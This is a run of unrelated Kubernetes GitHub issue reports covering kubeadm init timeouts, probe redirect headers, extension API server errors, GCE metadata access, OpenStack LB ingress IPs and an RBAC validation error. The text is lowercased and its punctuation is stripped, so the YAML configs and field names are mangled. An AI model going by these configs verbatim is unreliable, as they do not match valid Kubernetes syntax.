https://k8s-testgrid.appspot.com/google-gce gci-gce-es-logging becomes completely red after https://github.com/kubernetes/kubernetes/pull/58525 is merged.\r \r /cc @monotek @coffeepac\r \r @kubernetes/sig-instrumentation-misc

这是我的kubeadm.yaml文件内容:\r      ref https://github.com/kubernetes/kubernetes/blob/master/cmd/kubeadm/app/apis/kubeadm/v1alpha1/types.go l27\r   https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-init/ config-file\r kind: masterconfiguration\r apiversion: kubeadm.k8s.io/v1alpha1\r  kubernetesversion: \ stable\ \r kubernetesversion: \ v1.11.2\ \r apiservercertsans:   \r  imagerepository: crproxy.trafficmanager.net:6000/google_containers\r imagerepository: mirrorgooglecontainers\r  imagerepository: \ \ \r controllermanagerextraargs:\r   horizontal-pod-autoscaler-use-rest-clients: \ true\ \r   horizontal-pod-autoscaler-sync-period: \ 10s\ \r   node-monitor-grace-period: \ 10s\ \r   feature-gates: \ allalpha=true\ \r   enable-dynamic-provisioning: \ true\ \r apiserverextraargs:\r   runtime-config: \ api/all=true\ \r    feature-gates: \ allalpha=true\ \r   feature-gates: \ coredns=true\ \r networking:\r   podsubnet: \ 10.244.0.0/16\ \r    \r \r \r 出现的问题是一直卡在这里最后会超时说无法拉取到所需的镜像：\r    \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  master1 localhost  and ips  10.0.1.6 127.0.0.1 ::1 \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this might take a minute or longer if the control plane images have to be pulled\r    \r \r \r 但是这些镜像在我本地已经存在了：\r    \r   docker images\r repository                                             tag                 image id            created             size\r mirrorgooglecontainers/kube-controller-manager-amd64   v1.11.2             38521457c799        2 weeks ago         155mb\r k8s.gcr.io/kube-controller-manager-amd64               v1.11.2             38521457c799        2 weeks ago         155mb\r mirrorgooglecontainers/kube-proxy-amd64                v1.11.2             46a3cd725628        2 weeks ago         97.8mb\r k8s.gcr.io/kube-proxy-amd64                            v1.11.2             46a3cd725628        2 weeks ago         97.8mb\r mirrorgooglecontainers/kube-apiserver-amd64            v1.11.2             821507941e9c        2 weeks ago         187mb\r k8s.gcr.io/kube-apiserver-amd64                        v1.11.2             821507941e9c        2 weeks ago         187mb\r k8s.gcr.io/kube-scheduler-amd64                        v1.11.2             37a1403e6c1a        2 weeks ago         56.8mb\r mirrorgooglecontainers/kube-scheduler-amd64            v1.11.2             37a1403e6c1a        2 weeks ago         56.8mb\r mirrorgooglecontainers/kube-proxy-amd64                v1.11.1             d5c25579d0ff        5 weeks ago         97.8mb\r mirrorgooglecontainers/kube-controller-manager-amd64   v1.11.1             52096ee87d0e        5 weeks ago         155mb\r mirrorgooglecontainers/kube-apiserver-amd64            v1.11.1             816332bd9d11        5 weeks ago         187mb\r mirrorgooglecontainers/kube-scheduler-amd64            v1.11.1             272b3a60cd68        5 weeks ago         56.8mb\r coredns/coredns                                        latest              da1adafc0e78        6 weeks ago         34.2mb\r k8s.gcr.io/coredns                                     latest              da1adafc0e78        6 weeks ago         34.2mb\r mirrorgooglecontainers/etcd-amd64                      3.2.18              b8df3b177be2        4 months ago        219mb\r k8s.gcr.io/etcd-amd64                                  3.2.18              b8df3b177be2        4 months ago        219mb\r quay.io/coreos/flannel                                 v0.10.0-amd64       f0fad859c909        7 months ago        44.6mb\r k8s.gcr.io/pause                                       3.1                 da86e6ba6ca1        8 months ago        742kb\r mirrorgooglecontainers/pause                           3.1                 da86e6ba6ca1        8 months ago        742kb\r    \r \r 这是journalctl -xeu kubelet日志\r    \r 8月 26 16:53:37 master1 kubelet 32469 : e0826 16:53:37.294398   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:38 master1 kubelet 32469 : w0826 16:53:38.283340   32469 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r 8月 26 16:53:38 master1 kubelet 32469 : e0826 16:53:38.283407   32469 kubelet.go:2110  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is no\r 8月 26 16:53:38 master1 kubelet 32469 : e0826 16:53:38.292774   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:38 master1 kubelet 32469 : e0826 16:53:38.293765   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:38 master1 kubelet 32469 : e0826 16:53:38.294839   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:38 master1 kubelet 32469 : i0826 16:53:38.928356   32469 kubelet_node_status.go:269  setting node annotation to enable volume controller attach/detach\r 8月 26 16:53:38 master1 kubelet 32469 : i0826 16:53:38.929731   32469 kubelet_node_status.go:79  attempting to register node master1\r 8月 26 16:53:38 master1 kubelet 32469 : e0826 16:53:38.929892   32469 kubelet_node_status.go:103  unable to register node \ master1\  with api server: post https://10.0.1.6:6443/api/v1/nodes: dial tcp 10.0.1.6:\r 8月 26 16:53:39 master1 kubelet 32469 : i0826 16:53:39.098156   32469 kubelet_node_status.go:269  setting node annotation to enable volume controller attach/detach\r 8月 26 16:53:39 master1 kubelet 32469 : e0826 16:53:39.293198   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:39 master1 kubelet 32469 : e0826 16:53:39.294074   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:39 master1 kubelet 32469 : e0826 16:53:39.295154   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:39 master1 kubelet 32469 : i0826 16:53:39.399598   32469 kuberuntime_manager.go:513  container {name:kube-apiserver image:mirrorgooglecontainers/kube-apiserver-amd64:v1.11.2 command: kube-apiserv\r 8月 26 16:53:39 master1 kubelet 32469 : getaction{path:/healthz,port:6443,host:10.0.1.6,scheme:https,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold\r 8月 26 16:53:39 master1 kubelet 32469 : i0826 16:53:39.399690   32469 kuberuntime_manager.go:757  checking backoff for container \ kube-apiserver\  in pod \ kube-apiserver-master1_kube-system f8781a5c91f16c90efb\r 8月 26 16:53:39 master1 kubelet 32469 : i0826 16:53:39.399765   32469 kuberuntime_manager.go:767  back-off 5m0s restarting failed container=kube-apiserver pod=kube-apiserver-master1_kube-system f8781a5c91f16c\r 8月 26 16:53:39 master1 kubelet 32469 : e0826 16:53:39.399781   32469 pod_workers.go:186  error syncing pod f8781a5c91f16c90efbe3ef497aa42ab  \ kube-apiserver-master1_kube-system f8781a5c91f16c90efbe3ef497aa42\r 8月 26 16:53:40 master1 kubelet 32469 : e0826 16:53:40.293665   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:40 master1 kubelet 32469 : e0826 16:53:40.294522   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:40 master1 kubelet 32469 : e0826 16:53:40.295657   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:41 master1 kubelet 32469 : e0826 16:53:41.294236   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:41 master1 kubelet 32469 : e0826 16:53:41.294996   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:41 master1 kubelet 32469 : e0826 16:53:41.296129   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:42 master1 kubelet 32469 : e0826 16:53:42.294682   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:42 master1 kubelet 32469 : e0826 16:53:42.295581   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:42 master1 kubelet 32469 : e0826 16:53:42.296692   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:43 master1 kubelet 32469 : e0826 16:53:43.214384   32469 eviction_manager.go:243  eviction manager: failed to get get summary stats: failed to get node info: node \ master1\  not found\r 8月 26 16:53:43 master1 kubelet 32469 : w0826 16:53:43.284267   32469 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r 8月 26 16:53:43 master1 kubelet 32469 : e0826 16:53:43.284353   32469 kubelet.go:2110  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is no\r 8月 26 16:53:43 master1 kubelet 32469 : e0826 16:53:43.295065   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:43 master1 kubelet 32469 : e0826 16:53:43.296067   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:43 master1 kubelet 32469 : e0826 16:53:43.297112   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:44 master1 kubelet 32469 : e0826 16:53:44.295483   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:44 master1 kubelet 32469 : e0826 16:53:44.296449   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:44 master1 kubelet 32469 : e0826 16:53:44.297486   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:45 master1 kubelet 32469 : e0826 16:53:45.037204   32469 event.go:212  unable to write event: 'post https://10.0.1.6:6443/api/v1/namespaces/default/events: dial tcp 10.0.1.6:6443: connect: connec\r 8月 26 16:53:45 master1 kubelet 32469 : e0826 16:53:45.295888   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:45 master1 kubelet 32469 : e0826 16:53:45.296899   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:45 master1 kubelet 32469 : e0826 16:53:45.297982   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:45 master1 kubelet 32469 : i0826 16:53:45.930095   32469 kubelet_node_status.go:269  setting node annotation to enable volume controller attach/detach\r 8月 26 16:53:45 master1 kubelet 32469 : i0826 16:53:45.931561   32469 kubelet_node_status.go:79  attempting to register node master1\r 8月 26 16:53:45 master1 kubelet 32469 : e0826 16:53:45.931763   32469 kubelet_node_status.go:103  unable to register node \ master1\  with api server: post https://10.0.1.6:6443/api/v1/nodes: dial tcp 10.0.1.6:\r 8月 26 16:53:46 master1 kubelet 32469 : e0826 16:53:46.296389   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:46 master1 kubelet 32469 : e0826 16:53:46.297172   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:46 master1 kubelet 32469 : e0826 16:53:46.298265   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:47 master1 kubelet 32469 : e0826 16:53:47.296731   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:47 master1 kubelet 32469 : e0826 16:53:47.297733   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:47 master1 kubelet 32469 : e0826 16:53:47.298759   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r 8月 26 16:53:48 master1 kubelet 32469 : w0826 16:53:48.285222   32469 cni.go:172  unable to update cni config: no networks found in /etc/cni/net.d\r 8月 26 16:53:48 master1 kubelet 32469 : e0826 16:53:48.285292   32469 kubelet.go:2110  container runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is no\r 8月 26 16:53:48 master1 kubelet 32469 : e0826 16:53:48.297284   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.0.1.6:6443/api/v1/pods?fiel\r 8月 26 16:53:48 master1 kubelet 32469 : e0826 16:53:48.298035   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:455: failed to list  v1.service: get https://10.0.1.6:6443/api/v1/services?limi\r 8月 26 16:53:48 master1 kubelet 32469 : e0826 16:53:48.299117   32469 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:464: failed to list  v1.node: get https://10.0.1.6:6443/api/v1/nodes?fieldselec\r    \r 这是为什么？有什么版本能解决吗？

currently, the serviceaccount token projected volume wouldn't  create ca.crt and namespace.crt file as old serviceaccount model does.  it could cause no available certificate problem. \r i think we need to mount ca.crt and namesapce.crt file automatically as current serviceaccount token controller does. i propose a model like this:\r 1. add a serviceaccount-cert-file option to api-server which provides certificate file.  when api-server starts, if tokenrequest feature enabled, it will create a secret contains the certificate in kube-system namespace.\r 2. when a pod with token projected volume launches to kubelet, the volume manager will request the certificate secret in kube-system and injects data into the token projected volume.\r 3. we also need a way to make sure the secret does exist in kube-system, if not, recreate it.

hello there,\r \r i did search around and didn't find a report for this already, i hope it's  not a dupe.\r \r   what happened  :\r in an http probe definition  readyness or liveness , the custom host header is not set properly after a redirect occurs.\r \r   what you expected to happen  :\r seeing that  18233 states that redirects are weird but allowed, i would expect the custom headers to be maintained after the redirect occurs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup an http service that expects a specific host header to be used  using django here  and would return a 400 if the host doesn't match  for a more detail view at how django deals with this  read along  https://docs.djangoproject.com/en/2.1/ref/settings/ allowed-hosts  .\r \r then setup a probe like:\r \r    \r livenessprobe:\r     httpget:\r         path: /admin/\r         port: http\r         httpheaders:\r             - name: host\r               value: the-expected-host.tld\r    \r \r you should now see in your logs that the first call to the service succeeded with a 301  or 3xx  which means the host header was set properly, but that the call to the redirected url will fail with a 400 which means the host header was not set anymore and makes the probe raise an error.\r \r   anything else we need to know?  :\r in the above test, setting the \ path\  to the redirected url works and the probe is green.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t09:56:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: intel nuc\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : linux nuc 4.4.0-138-generic  164-ubuntu smp tue oct 2 17:16:02 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: minikube\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i have an extension api server based on the sample-apiserver, and today i updated it from release 1.10 to 1.12.  in testing, i got a lot of success but found one unexpected error in the log of an extension api server  and this was neither the first nor the last attempt to delete that kind of object :\r \r    \r i0205 16:31:16.068883       1 wrap.go:47  delete /apis/network.example.com/v1alpha1/namespaces/0205-1130-1577/networkattachments/190004-010:  4.867691ms  500\r goroutine 25803  running :\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc000986070, 0x1f4 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:204 +0xd2\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc000986070, 0x1f4 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:183 +0x35\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc0008a89c0, 0x1f4 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:205 +0xaf\r net/http.error 0x7f77d6fae718, 0xc0001cfe40, 0xc0003bcb40, 0x86, 0x1f4 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1976 +0xda\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.internalerror 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600, 0x7f77d6fc61b8, 0xc0008abba0 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/errors.go:75 +0x126\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:69 +0x1ed\r net/http.handlerfunc.servehttp 0xc000407540, 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:160 +0x434\r net/http.handlerfunc.servehttp 0xc00075a180, 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:50 +0x1ed9\r net/http.handlerfunc.servehttp 0xc000407580, 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24600 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24500 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:75 +0x368\r net/http.handlerfunc.servehttp 0xc0004075c0, 0x7f77d6fae718, 0xc0001cfe40, 0xc001d24500 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc000f31d40, 0xc000754ea0, 0x1b303a0, 0xc0001cfe40, 0xc001d24500 \r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0xb3\r created by k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/users/mspreitzus.ibm.com/documents/go2/src/k8s.io/examples/staging/kos/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:97 +0x1b0\r \r logging error output: \ internal server error: \\\ /apis/network.example.com/v1alpha1/namespaces/0205-1130-1577/networkattachments/190004-010\\\ : 0-length response\ \ \r   attachment-tput-driver/v0.0.0  darwin/amd64  kubernetes/$format 172.30.19.2:38810 \r    \r \r the error message is being written from https://github.com/kubernetes/apiserver/blob/063b3905819b775547a6e9eb6072e89cd2875e7b/pkg/endpoints/filters/authorization.go l69 and it looks like that  err  is coming from https://github.com/kubernetes/apiserver/blob/063b3905819b775547a6e9eb6072e89cd2875e7b/pkg/endpoints/filters/authorization.go l59\r \r   what you expected to happen  :\r i expected no problems with authorization checks.  i monitored the rate of subjectaccessreviews and tokenreviews on all apiservers  main and extension  with prometheus and grafana.  i used  rate ... 1m    as my query.  the tokenreview rate peaked at 0.18 and the subjectaccessreview rate peaked at 4.8.  i also monitored  apiserver_current_inflight_requests , and that peaked at 4.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this was testing https://github.com/mikespreitzer/kube-examples/tree/59603fa695bbb6e7c077533b82dbbb4324302346/staging/kos\r \r    \r cd staging/kos\r make build\r make publish docker_prefix=mspreitz\r kubectl get node | grep -vw name | while read nodename rest; do\r \tkubectl label --overwrite node $nodename role.kos.example.com/control=true\r \tkubectl label --overwrite node $nodename role.kos.example.com/workload=true\r \tkubectl annotate --overwrite node $nodename prometheus.io/scrape=true\r done\r make deploy docker_prefix=mspreitz\r local-binaries/attachment-tput-driver --kubeconfig $kubeconfig\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r mjs11:kos mspreitzus.ibm.com$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-13t23:16:58z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4+iks\ , gitcommit:\ 27c949c1ae36d3c99246bde7ef68ff8bd3bb4ad3\ , gittreestate:\ clean\ , builddate:\ 2019-01-09t10:08:47z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: ibm iks\r - os  e.g. from /etc/os-release : the worker nodes had the following:\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  : the worker nodes said  linux kube-wdc07-cra2309cb203544bbd820010982963df3a-w1.cloud.ibm 4.4.0-141-generic  167-ubuntu smp wed dec 5 10:40:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r - others:\r

on gce, the metadata server gives access to tokens/certs for the master apiserver as well as auth tokens belonging to the project's service account. we could use an iptable rule to block all connections coming in from a container that doesn't share the host's network interface. while this is not a perfect solution from a security point of view, it could at least keep users from relying on auth scopes and data from the metadata server that might be removed in the future.  @roberthbailey already noted that some services might rely on the logging scope, so maybe this would need a way to disable the filter in that case?

add automated tests for the pods-per-node option on the kubelet.  best place is probably to add to the e2e_node suite.

i don't see the point of including the vip of the openstack lb as part of the status.loadbalanceringress ips of a service along with the floating ip associated with it. the vip can be accessed only within the openstack cluster not from outside the cluster:      kubectl describe svc name:           tweets-web namespace:      default labels:         name=tweets-web selector:       name=tweets-web type:           loadbalancer ip:         10.254.2.55 loadbalancer ingress:   172.20.21.62, 10.194.146.107 port:           <unset> 80/tcp nodeport:       <unset> 30789/tcp endpoints:      10.100.13.6:8080 session affinity:   none      an annoying side effect of this occurs when creating a federated service: a dns record is created with both the public  internet  ip and the internal vip because the federation-controller cannot know which ip is global. removing this vip would make the behavior of the openstack provider consistent with other cloud providers  aws, gce  as far as lb ingress ips are concerned.

we need a way to represent operation examples in openapi to generate better documentation   31266 . my first though is to have special tags in type comment:  // type is .... // @example post : // { //   id : \ identifier\ , //   ... // } // @endexample // @example put : // { //   id : \ identifier\ , //   ... // } // @endexample ... furthermore, we need to represent this as an extension in openapi. my suggestion is \ x-k8s-example\  field in operation objects. also the example should be a valid json that can be serialized to the type it is representing  validation on generation time . i would expect this task to take a week.

\r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.2.214+e4b41dd2920eb9\ , gitcommit:\ e4b41dd2920eb98402d745931964f11279a9ff2e\ , gittreestate:\ clean\ , builddate:\ 2016-10-31t03:12:19z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.2.214+e4b41dd2920eb9\ , gitcommit:\ e4b41dd2920eb98402d745931964f11279a9ff2e\ , gittreestate:\ clean\ , builddate:\ 2016-10-31t03:12:19z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   os    e.g. from /etc/os-release : ubuntu15.10\r -   kernel    e.g.  uname -a  : 4.2.0-42-generic\r \r \r   what happened  :\r when i run  kubectl create -f rbac_resource.yaml , i get a error.\r    \r clusterrole \ admin-resource-role\  created\r error: error validating \ rbac_resource.yaml\ : error validating data: field apigroup: is required; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r rbac_resource.yaml \r    \r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1alpha1\r metadata:\r   name: admin-resource-role\r rules:\r - apigroups:  \  \  \r   verbs:  \  \  \r   resources:  \  \  \r  ---\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1alpha1\r metadata:\r   name: admin-resource-binding\r subjects:\r   - kind: user   may be \ user\ , \ group\  or \ serviceaccount\ \r     name: test\r roleref:\r   kind: clusterrole\r   name: admin-resource-role\r    \r \r if i run  kubectl create -f rbac_resource.yaml  --validate=false , it works fine. \r \r any help is appreciated, thank you!

